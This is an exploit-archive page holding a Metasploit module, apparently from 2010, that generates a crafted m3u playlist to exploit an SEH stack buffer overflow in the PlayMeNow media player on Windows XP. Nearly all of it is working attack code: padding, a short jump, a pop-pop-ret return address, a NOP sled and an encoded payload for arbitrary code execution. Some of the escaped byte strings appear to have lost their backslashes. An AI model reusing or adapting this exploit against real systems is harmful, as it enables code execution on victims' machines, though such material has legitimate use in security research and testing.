[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PlayMeNow v7.3 and 7.4 Buffer Overflow (meta)
# Published : 2010-01-06
# Author : Blake
# Previous Title : Soritong v1.0 Universal BOF-SEH (META)
# Next Title : DirectAdmin <= 1.33.6 Symlink Permission Bypass
# Tested on: Windows XP SP3 - English
# CVE :
# Code :
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'PlayMeNow versions 7.3 and 7.4 Buffer Overflow Exploit (SEH)',
'Description' => %q{
This module exploits a stack overflow in PlayMeNow version 7.3 and 7.4.
By creating a specially crafted m3u or pls file, an an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => 'Blake',
'Version' => 'Version 1',
'References' =>
[
[ 'OSVDB', '' ],
[ 'URL', 'http://www.exploit-db.com/exploits/10556' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 1428,
'BadChars' => "x00x20x0ax0d",
'StackAdjustment' => -3500,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Universal', { 'Ret' => 0x10020ed7} ], # pop pop ret - AtomicClock.lmd
],
'Privileged' => false,
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'metasploit.m3u']),
], self.class)
end
def exploit
sploit = rand_text_alphanumeric(2360)
sploit << "xebx06x90x90" # short jump 6 bytes
sploit << [target.ret].pack('V')
sploit << "x90" * 20 # nop sled
sploit << payload.encoded
sploit << rand_text_alphanumeric(1428 - payload.encoded.length)
playlist = sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(playlist)
end
end